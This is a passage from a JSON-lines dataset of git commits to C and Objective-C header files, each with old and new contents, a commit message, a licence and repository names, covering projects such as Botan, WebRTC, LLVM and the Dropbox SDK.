tli,sajith4u\/brotli,tml\/brotli,carlhuting\/brotli,ruo91\/brotli,mark2007081021\/brotli,FarhanHaque\/brotli,josl\/brotli,zhaohuaw\/brotli,BuildAPE\/brotli,cosmicwomp\/brotli,kasper93\/brotli,jqk6\/brotli,stamhe\/brotli,merckhung\/brotli,windhorn\/brotli,mk525\/Code,gk23\/brotli,chinanjjohn2012\/brotli,s0ne0me\/brotli,zhaohuaw\/brotli,Abhikos\/brotli,rayning0\/brotli,daltonmaag\/brotli,chrislucas\/brotli,chrislucas\/brotli,shaunstanislaus\/brotli,koolhazz\/brotli,samtechie\/brotli,s0ne0me\/brotli,sonivaibhv\/brotli,karpinski\/brotli,sonivaibhv\/brotli,agordon\/brotli,ebiggers\/brotli,rajat1994\/brotli,jacklicn\/brotli,josl\/brotli,king-jw\/brotli,zhaohuaw\/brotli,king-jw\/brotli,windhorn\/brotli,lukw00\/brotli,W3SS\/brotli,dragon788\/brotli,anthrotype\/brotli"}
{"commit":"9dbb2ff853ade8b9af671904add3d1b8e34fbe7c","old_file":"common\/include\/special_test.h","new_file":"common\/include\/special_test.h","old_contents":"","new_contents":"\/**\n * Copyright (c) 2015 Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __COMMON_SPECIAL_TEST_H\n#define __COMMON_SPECIAL_TEST_H\n\n\n\/* Special tests always require GPIO handshaking *\/\n#if (defined _SPECIAL_TEST) && !(defined __HANDSHAKE)\n#define _HANDSHAKE  1\n#endif\n\n\/*\n * Special test identifiers for bootrom testing:\n *\/\n\n\/* Allow 3rd stage FW to try to put the chip into standby. *\/\n#define SPECIAL_STANDBY_TEST            1\n\n\/*\n * STANDBY_TEST plus 3rd stage FW waits for the server to put UniPro to\n * hibern8 mode before suspend\n * *\/\n#define SPECIAL_GBBOOT_SERVER_STANDBY   2\n\n\/* Run the SpiRom at different gear speeds *\/\n#define SPECIAL_GEAR_CHANGE_TEST        3\n\n#endif \/* __COMMON_SPECIAL_TEST_H *\/\n","subject":"Build Tools: Moved special test flags into -spec","message":"Bootrom: Build Tools: Moved special test flags into -spec\n\nConverted the gear_change_test and suspend\/resume tests from individual\ncompile flags into the special-test (-spec <num>) mechanism. (includes\nfile missing from original commit.\n\nTesting Done: multiple builds and compile tests to ensure that the right\nflags were being set at the compiler level.\nBug Number: SW-1205\nReview URL: https:\/\/reviews.leaflabs.com\/r\/1843\/\nReviewed by: Olin Sibert, Jun Li\n\nSigned-off-by:  Morgan Girling <980e61e2e2b82c453db57c2e8646c01fbd3318cd@bsquare.com>\n","lang":"C","license":"bsd-3-clause","repos":"projectara\/bootrom,gregkh\/bootrom"}
{"commit":"bfff8b87632f5ab450243a0a4e7c7f2ed83f9e68","old_file":"src\/common\/common.h","new_file":"src\/common\/common.h","old_contents":"#ifndef BERRY_COMMON_COMMON_H\n#define BERRY_COMMON_COMMON_H\n\n#if defined(__APPLE__)\n    #include \"TargetConditionals.h\"\n    #if ANGEL_MOBILE\n        #include <sys\/time.h>\n        #import <Availability.h>\n        #ifndef __IPHONE_5_0\n            #warning \"This project uses features only available in iPhone SDK 5.0 and later.\"\n        #endif\n        #ifdef __OBJC__\n            #import <Foundation\/Foundation.h>\n            #import <UIKit\/UIKit.h>\n        #else\n            #include <CoreFoundation\/CoreFoundation.h>\n        #endif\n    #else\n        #ifndef __OBJC__\n            #include <CoreFoundation\/CoreFoundation.h>\n        #endif\n    #endif\n#endif\n#if defined(__APPLE__) || defined(__linux__)\n    #include <ext\/hash_map>\n\n    \/\/GCC is picky about what types are allowed to be used as indices to hashes.\n    \/\/ Defining this here lets us use std::strings to index, which is useful.\n    #define hashmap_ns __gnu_cxx\n    namespace hashmap_ns\n    {\n        template<> struct hash< std::string >\n        {\n            size_t operator()( const std::string& x ) const\n            {\n                return hash< const char* >()( x.c_str() );\n            }\n        };\n    }\n#endif\n\n#endif\n","new_contents":"#ifndef BERRY_COMMON_COMMON_H\n#define BERRY_COMMON_COMMON_H\n\n#if defined(__APPLE__)\n    #include \"TargetConditionals.h\"\n    #if ANGEL_MOBILE\n        #include <sys\/time.h>\n        #import <Availability.h>\n        #ifndef __IPHONE_5_0\n            #warning \"This project uses features only available in iPhone SDK 5.0 and later.\"\n        #endif\n        #ifdef __OBJC__\n            #import <Foundation\/Foundation.h>\n            #import <UIKit\/UIKit.h>\n        #else\n            #include <CoreFoundation\/CoreFoundation.h>\n        #endif\n    #else\n        #ifndef __OBJC__\n            #include <CoreFoundation\/CoreFoundation.h>\n        #endif\n    #endif\n#endif\n#if defined(__APPLE__)\n    #include <unordered_map>\n#elif defined(__linux__)\n    #include <ext\/hash_map>\n\n    \/\/GCC is picky about what types are allowed to be used as indices to hashes.\n    \/\/ Defining this here lets us use std::strings to index, which is useful.\n    #define hashmap_ns __gnu_cxx\n    namespace hashmap_ns\n    {\n        template<> struct hash< std::string >\n        {\n            size_t operator()( const std::string& x ) const\n            {\n                return hash< const char* >()( x.c_str() );\n            }\n        };\n    }\n#endif\n\n#endif\n","subject":"Fix compile warning of hash_map in OS X","message":"Fix compile warning of hash_map in OS X\n","lang":"C","license":"mit","repos":"pixelpicosean\/Mural-Deprecated,pixelpicosean\/Mural-Deprecated,pixelpicosean\/Mural-Deprecated,pixelpicosean\/Mural-Deprecated,pixelpicosean\/Mural-Deprecated"}
{"commit":"6ff0b90eca9ac6021e18692a5a747ae14ac01c69","old_file":"Source\/ObjectiveDropboxOfficial\/Shared\/Handwritten\/OAuth\/DBSDKKeychain.h","new_file":"Source\/ObjectiveDropboxOfficial\/Shared\/Handwritten\/OAuth\/DBSDKKeychain.h","old_contents":"\/\/\/\n\/\/\/ Copyright (c) 2016 Dropbox, Inc. All rights reserved.\n\/\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"DBHandlerTypes.h\"\n\n\/\/\/\n\/\/\/ Keychain class for storing OAuth tokens.\n\/\/\/\n@interface DBSDKKeychain : NSObject\n\n\/\/\/ Stores a key \/ value pair in the keychain.\n+ (BOOL)storeValueWithKey:(NSString * _Nonnull)key value:(NSString * _Nonnull)value;\n\n\/\/\/ Retrieves a value from the corresponding key from the keychain.\n+ (NSString * _Nullable)retrieveTokenWithKey:(NSString * _Nonnull)key;\n\n\/\/\/ Retrieves all token uids from the keychain.\n+ (NSArray<NSString *> * _Nonnull)retrieveAllTokenIds;\n\n\/\/\/ Deletes a key \/ value pair in the keychain.\n+ (BOOL)deleteTokenWithKey:(NSString * _Nonnull)key;\n\n\/\/\/ Deletes all key \/ value pairs in the keychain.\n+ (BOOL)clearAllTokens;\n\n\/\/\/ Checks if performing a v1 token migration is necessary, and if so, performs it.\n+ (BOOL)checkAndPerformV1TokenMigration:(DBTokenMigrationResponseBlock _Nonnull)responseBlock\n                                  queue:(NSOperationQueue * _Nullable)queue\n                                 appKey:(NSString * _Nonnull)appKey\n                              appSecret:(NSString * _Nonnull)appSecret;\n\n@end\n","new_contents":"\/\/\/\n\/\/\/ Copyright (c) 2016 Dropbox, Inc. All rights reserved.\n\/\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"DBHandlerTypes.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/\/\/\n\/\/\/ Keychain class for storing OAuth tokens.\n\/\/\/\n@interface DBSDKKeychain : NSObject\n\n\/\/\/ Stores a key \/ value pair in the keychain.\n+ (BOOL)storeValueWithKey:(NSString *)key value:(NSString *)value;\n\n\/\/\/ Retrieves a value from the corresponding key from the keychain.\n+ (NSString * _Nullable)retrieveTokenWithKey:(NSString *)key;\n\n\/\/\/ Retrieves all token uids from the keychain.\n+ (NSArray<NSString *> *)retrieveAllTokenIds;\n\n\/\/\/ Deletes a key \/ value pair in the keychain.\n+ (BOOL)deleteTokenWithKey:(NSString *)key;\n\n\/\/\/ Deletes all key \/ value pairs in the keychain.\n+ (BOOL)clearAllTokens;\n\n\/\/\/ Checks if performing a v1 token migration is necessary, and if so, performs it.\n+ (BOOL)checkAndPerformV1TokenMigration:(DBTokenMigrationResponseBlock)responseBlock\n                                  queue:(NSOperationQueue * _Nullable)queue\n                                 appKey:(NSString *)appKey\n                              appSecret:(NSString *)appSecret;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Switch to NS_ASSUME_NONNULL_BEGIN and _END","message":"Switch to NS_ASSUME_NONNULL_BEGIN and _END\n\nThis leaves us free to only define the nullable parameters in each method signature.\n","lang":"C","license":"mit","repos":"dropbox\/dropbox-sdk-obj-c,dropbox\/dropbox-sdk-obj-c,dropbox\/dropbox-sdk-obj-c,dropbox\/dropbox-sdk-obj-c"}
{"commit":"de6d353302c812e4345de6eb44c4b890ff5cff14","old_file":"src\/classes\/Window.h","new_file":"src\/classes\/Window.h","old_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <ncurses.h>\n#include <array>\n\n#include \"..\/game.h\"\n\n\/\/ Used to define a datatype for calls to wborder\nstruct Border {\n    chtype ls, rs, ts, bs;\n    chtype tl, tr, bl, br;\n};\n\nclass Window {\n    public:\n        Window(rect dim); \/\/ ctor\n       ~Window();         \/\/ dtor\n\n        void bindWin(WINDOW *newW);\n\n        int getChar();\n\n        void refresh();\n        void update();\n        void clear();\n        void close();\n\n        void cursorPos(vec2ui pos);\n\n        void draw(vec2ui pos, char ch, chtype colo);\n        void draw(vec2ui pos, char ch, chtype colo, int attr);\n        void drawBorder();\n        void drawBox();\n        void write(std::string str);\n        void write(vec2ui pos, std::string str);\n        void coloSplash(chtype colo);\n\n        rect getDim() { return dim; }\n\n        void setBorder(Border b);\n\n    protected:\n        WINDOW *w;\n        rect dim;\n        Border border { 0,0,0,0,0,0,0,0 };  \/\/ Init to default\n\n};\n\n#endif\n\n","new_contents":"#ifndef WINDOW_H\n#define WINDOW_H\n\n#include <ncurses.h>\n#include <string>\n#include <array>\n\n#include \"..\/game.h\"\n\n\/\/ Used to define a datatype for calls to wborder\nstruct Border {\n    chtype ls, rs, ts, bs;\n    chtype tl, tr, bl, br;\n};\n\nclass Window {\n    public:\n        Window(rect dim); \/\/ ctor\n       ~Window();         \/\/ dtor\n\n        void bindWin(WINDOW *newW);\n\n        int getChar();\n\n        void refresh();\n        void update();\n        void clear();\n        void close();\n\n        void cursorPos(vec2ui pos);\n\n        void draw(vec2ui pos, char ch, chtype colo);\n        void draw(vec2ui pos, char ch, chtype colo, int attr);\n        void drawBorder();\n        void drawBox();\n        void write(std::string str);\n        void write(vec2ui pos, std::string str);\n        void coloSplash(chtype colo);\n\n        rect getDim() { return dim; }\n\n        void setBorder(Border b);\n\n    protected:\n        WINDOW *w;\n        rect dim;\n        Border border { 0,0,0,0,0,0,0,0 };  \/\/ Init to default\n\n};\n\n#endif\n\n","subject":"Fix missing string in namespace std compiler error","message":"Fix missing string in namespace std compiler error\n\nOn some systems\n","lang":"C","license":"mit","repos":"jm-janzen\/termq,jm-janzen\/termq,jm-janzen\/termq"}
{"commit":"501525eed454bc815b4ab5bfd7fb7d58609a026e","old_file":"tools\/ccc\/test\/ccc\/pth.c","new_file":"tools\/ccc\/test\/ccc\/pth.c","old_contents":"","new_contents":"\/\/ RUN: cp %s %t &&\n\/\/ RUN: xcc -x c-header %t -o %t.pth &&\n\/\/ RUN: xcc -### -S -include %t -x c \/dev\/null &> %t.log &&\n\/\/ RUN: grep '\"-token-cache\" \".*\/pth.c.out.tmp.pth\"' %t.log\n\/\/ RUN: true\n","subject":"Test case for transparent PTH support.","message":"ccc: Test case for transparent PTH support.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@64420 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"4d9532bedbb71796ace2833aeb3d279b8a18df57","old_file":"Clue\/Classes\/Extensions\/Views\/UIView+CLUViewRecordableAdditions.h","new_file":"Clue\/Classes\/Extensions\/Views\/UIView+CLUViewRecordableAdditions.h","old_contents":"\/\/\n\/\/  UIView+CLUViewRecordableAdditions.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 5\/27\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"CLUViewRecordableProperties.h\"\n\n@interface UIView (CLUViewRecordableAdditions) <CLUViewRecordableProperties>\n\n- (NSDictionary *)clue_colorPropertyDictionaryForColor:(UIColor *)color;\n- (NSDictionary *)clue_sizePropertyDictionaryForSize:(CGSize)size;\n- (NSDictionary *)clue_fontPropertyDictionaryForFont:(UIFont *)font;\n- (NSDictionary *)clue_attributedTextPropertyDictionaryForAttributedString:(NSAttributedString *)attributedText;\n\n@end\n","new_contents":"\/\/\n\/\/  UIView+CLUViewRecordableAdditions.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 5\/27\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"CLUViewRecordableProperties.h\"\n\n@interface UIView (CLUViewRecordableAdditions) <CLUViewRecordableProperties>\n\n- (NSDictionary *)clue_colorPropertyDictionaryForColor:(UIColor *)color;\n- (NSDictionary *)clue_sizePropertyDictionaryForSize:(CGSize)size;\n- (NSDictionary *)clue_fontPropertyDictionaryForFont:(UIFont *)font;\n- (NSDictionary *)clue_attributedTextPropertyDictionaryForAttributedString:(NSAttributedString *)attributedText;\n\n- (NSDictionary *)clue_layoutMarginsPropertyDictionary;\n- (NSDictionary *)clue_frameProprtyDictionary;\n\n@end\n","subject":"Move layoutMargin method and Frame method to public interface of UIView additions category. (mostly for testing purposes and those method should be public IMO anyway)","message":"Move layoutMargin method and Frame method to public interface of UIView additions category. (mostly for testing purposes and those method should be public IMO anyway)\n","lang":"C","license":"mit","repos":"Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue"}
{"commit":"d5fe78a66aa26ae430c9137ce5c7244b06d550b2","old_file":"experiments.h","new_file":"experiments.h","old_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct SkipEncodingUnusedStreams {\n  SkipEncodingUnusedStreams() : enabled(false) {}\n  explicit SkipEncodingUnusedStreams(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~SkipEncodingUnusedStreams() {}\n\n  const bool enabled;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","new_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","subject":"Remove no longer used SkipEncodingUnusedStreams.","message":"Remove no longer used SkipEncodingUnusedStreams.\n\nR=andrew@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/18829004\n\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: b0c8228755e6d86a77f3a74999216b31feb44a6b\n","lang":"C","license":"bsd-3-clause","repos":"sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"bb47d7db349b6de54440b2298fb0c6377a4a7e0a","old_file":"thingc\/thingc\/thingc\/NumberInstance.h","new_file":"thingc\/thingc\/thingc\/NumberInstance.h","old_contents":"#pragma once\n\n#include <string>\n\n#include \"Program.h\"\n#include \"ThingInstance.h\"\n\n\nclass NumberInstance : public ThingInstance {\npublic:\n\n\tNumberInstance(int val) : val(val), ThingInstance(NumberInstance::methods) {};\n\n\tvirtual std::string text() const override {\n\t\treturn std::to_string(val);\n\t}\n\n\n\tconst int val;\n\tstatic const std::vector<InternalMethod> methods;\n\t\n};\n\n","new_contents":"#pragma once\n\n#include <string>\n\n#include \"Program.h\"\n#include \"ThingInstance.h\"\n\n\nclass NumberInstance : public ThingInstance {\npublic:\n\n\tNumberInstance(int val) : val(val), ThingInstance(NumberInstance::methods) {};\n\n\tvirtual std::string text() const override {\n\t\treturn std::to_string(val);\n\t}\n\n\tstatic void add() {\n\t\tauto lhs = static_cast<NumberInstance*>(Program::pop().get());\n\t\tauto rhs = static_cast<NumberInstance*>(Program::pop().get());\n\t\tauto ptr = PThingInstance(new NumberInstance(lhs->val + rhs->val));\n\t\tProgram::push(ptr);\n\t}\n\n\tconst int val;\n\tstatic const std::vector<InternalMethod> methods;\n\t\n};\n\n","subject":"Implement + support in numbers","message":"Implement + support in numbers\n","lang":"C","license":"mit","repos":"ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang,ytanay\/thinglang"}
{"commit":"bbef5652aa760beb83ef3116ecec3bd5eb76af35","old_file":"src\/hash\/mdx_hash\/mdx_hash.h","new_file":"src\/hash\/mdx_hash\/mdx_hash.h","old_contents":"\/**\n* MDx Hash Function\n* (C) 1999-2008 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_MDX_BASE_H__\n#define BOTAN_MDX_BASE_H__\n\n#include <botan\/hash.h>\n\nnamespace Botan {\n\n\/**\n* MDx Hash Function Base Class\n*\/\nclass BOTAN_DLL MDx_HashFunction : public HashFunction\n   {\n   public:\n      MDx_HashFunction(u32bit, u32bit, bool, bool, u32bit = 8);\n      virtual ~MDx_HashFunction() {}\n   protected:\n      void clear() throw();\n      SecureVector<byte> buffer;\n      u64bit count;\n      u32bit position;\n   private:\n      void add_data(const byte[], u32bit);\n      void final_result(byte output[]);\n\n      virtual void compress_n(const byte block[], u32bit block_n) = 0;\n\n      virtual void copy_out(byte[]) = 0;\n      virtual void write_count(byte[]);\n\n      const bool BIG_BYTE_ENDIAN, BIG_BIT_ENDIAN;\n      const u32bit COUNT_SIZE;\n   };\n\n}\n\n#endif\n","new_contents":"\/**\n* MDx Hash Function\n* (C) 1999-2008 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_MDX_BASE_H__\n#define BOTAN_MDX_BASE_H__\n\n#include <botan\/hash.h>\n\nnamespace Botan {\n\n\/**\n* MDx Hash Function Base Class\n*\/\nclass BOTAN_DLL MDx_HashFunction : public HashFunction\n   {\n   public:\n      MDx_HashFunction(u32bit, u32bit, bool, bool, u32bit = 8);\n      virtual ~MDx_HashFunction() {}\n   protected:\n      void add_data(const byte[], u32bit);\n      void final_result(byte output[]);\n      virtual void compress_n(const byte block[], u32bit block_n) = 0;\n\n      void clear() throw();\n      virtual void copy_out(byte[]) = 0;\n      virtual void write_count(byte[]);\n   private:\n      SecureVector<byte> buffer;\n      u64bit count;\n      u32bit position;\n\n      const bool BIG_BYTE_ENDIAN, BIG_BIT_ENDIAN;\n      const u32bit COUNT_SIZE;\n   };\n\n}\n\n#endif\n","subject":"Make the member variables of MDx_HashFunction private instead of protected - no subclass needs access to any of these variables.","message":"Make the member variables of MDx_HashFunction private instead of protected -\nno subclass needs access to any of these variables.\n","lang":"C","license":"bsd-2-clause","repos":"Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan"}
{"commit":"f0383f0d310a33c8c925e9c41f02eba54c4ff905","old_file":"lib\/Target\/Mips\/MipsABIInfo.h","new_file":"lib\/Target\/Mips\/MipsABIInfo.h","old_contents":"","new_contents":"\/\/===---- MipsABIInfo.h - Information about MIPS ABI's --------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef MIPSABIINFO_H\n#define MIPSABIINFO_H\n\nnamespace llvm {\nclass MipsABIInfo {\npublic:\n  enum class ABI { Unknown, O32, N32, N64, EABI };\n\nprotected:\n  ABI ThisABI;\n\npublic:\n  MipsABIInfo(ABI ThisABI) : ThisABI(ThisABI) {}\n\n  static MipsABIInfo Unknown() { return MipsABIInfo(ABI::Unknown); }\n  static MipsABIInfo O32() { return MipsABIInfo(ABI::O32); }\n  static MipsABIInfo N32() { return MipsABIInfo(ABI::N32); }\n  static MipsABIInfo N64() { return MipsABIInfo(ABI::N64); }\n  static MipsABIInfo EABI() { return MipsABIInfo(ABI::EABI); }\n\n  bool IsKnown() const { return ThisABI != ABI::Unknown; }\n  bool IsO32() const { return ThisABI == ABI::O32; }\n  bool IsN32() const { return ThisABI == ABI::N32; }\n  bool IsN64() const { return ThisABI == ABI::N64; }\n  bool IsEABI() const { return ThisABI == ABI::EABI; }\n  ABI GetEnumValue() const { return ThisABI; }\n\n  \/\/\/ Ordering of ABI's\n  \/\/\/ MipsGenSubtargetInfo.inc will use this to resolve conflicts when given\n  \/\/\/ multiple ABI options.\n  bool operator<(const MipsABIInfo Other) const {\n    return ThisABI < Other.GetEnumValue();\n  }\n};\n}\n\n#endif\n","subject":"Add file that should have been in r223027","message":"Add file that should have been in r223027\n\n\n\ngit-svn-id: 1a981f132218c5d985e5b5a896e7a8b8201781d6@223028 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap"}
{"commit":"b4bf84df34dd90041f076eb777454d01c41042c0","old_file":"SVNetworking\/SVNetworking\/SVNetworking.h","new_file":"SVNetworking\/SVNetworking\/SVNetworking.h","old_contents":"\/\/\n\/\/  SVNetworking.h\n\/\/  SVNetworking\n\/\/\n\/\/  Created by Nate Stedman on 3\/14\/14.\n\/\/  Copyright (c) 2014 Svpply. All rights reserved.\n\/\/\n\n#import \"NSObject+SVBindings.h\"\n#import \"NSObject+SVMultibindings.h\"\n#import \"SVDataRequest.h\"\n#import \"SVDiskCache.h\"\n#import \"SVFunctional.h\"\n#import \"SVImageView.h\"\n#import \"SVJSONRequest.h\"\n#import \"SVRemoteImage.h\"\n#import \"SVRemoteImageProtocol.h\"\n#import \"SVRemoteDataRequestResource.h\"\n#import \"SVRemoteDataResource.h\"\n#import \"SVRemoteJSONRequestResource.h\"\n#import \"SVRemoteJSONResource.h\"\n#import \"SVRemoteProxyResource.h\"\n#import \"SVRemoteResource.h\"\n#import \"SVRemoteRetainedScaledImage.h\"\n#import \"SVRemoteScaledImage.h\"\n#import \"SVRemoteScaledImageProtocol.h\"\n#import \"SVRequest.h\"\n","new_contents":"\/\/\n\/\/  SVNetworking.h\n\/\/  SVNetworking\n\/\/\n\/\/  Created by Nate Stedman on 3\/14\/14.\n\/\/  Copyright (c) 2014 Svpply. All rights reserved.\n\/\/\n\n#import \"NSObject+SVBindings.h\"\n#import \"NSObject+SVMultibindings.h\"\n#import \"SVDataRequest.h\"\n#import \"SVDiskCache.h\"\n#import \"SVFunctional.h\"\n#import \"SVImageView.h\"\n#import \"SVJSONRequest.h\"\n#import \"SVRemoteArray.h\"\n#import \"SVRemoteImage.h\"\n#import \"SVRemoteImageProtocol.h\"\n#import \"SVRemoteDataRequestResource.h\"\n#import \"SVRemoteDataResource.h\"\n#import \"SVRemoteJSONArray.h\"\n#import \"SVRemoteJSONRequestResource.h\"\n#import \"SVRemoteJSONResource.h\"\n#import \"SVRemoteProxyResource.h\"\n#import \"SVRemoteResource.h\"\n#import \"SVRemoteRetainedScaledImage.h\"\n#import \"SVRemoteScaledImage.h\"\n#import \"SVRemoteScaledImageProtocol.h\"\n#import \"SVRequest.h\"\n","subject":"Add remote array classes to headers.","message":"Add remote array classes to headers.\n","lang":"C","license":"bsd-3-clause","repos":"eBay\/SVNetworking,eBay\/SVNetworking"}
{"commit":"5e33ef4b6724a72188da87ddc7e8af98c4658671","old_file":"src\/tests\/uiomux_tests.h","new_file":"src\/tests\/uiomux_tests.h","old_contents":"\/*\n * UIOMux: a conflict manager for system resources, including UIO devices.\n * Copyright (C) 2009 Renesas Technology Corp.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA  02110-1301 USA\n *\/\n\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define INFO(str) \\\n  { printf (\"----  %s ...\\n\", (str)); }\n\n#define WARN(str) \\\n  { printf (\"%s:%d: warning: %s\\n\", __FILE__, __LINE__, (str)); }\n\n#define FAIL(str) \\\n  { printf (\"%s:%d: %s\\n\", __FILE__, __LINE__, (str)); exit(1); }\n","new_contents":"\/*\n * UIOMux: a conflict manager for system resources, including UIO devices.\n * Copyright (C) 2009 Renesas Technology Corp.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA  02110-1301 USA\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define INFO(str) 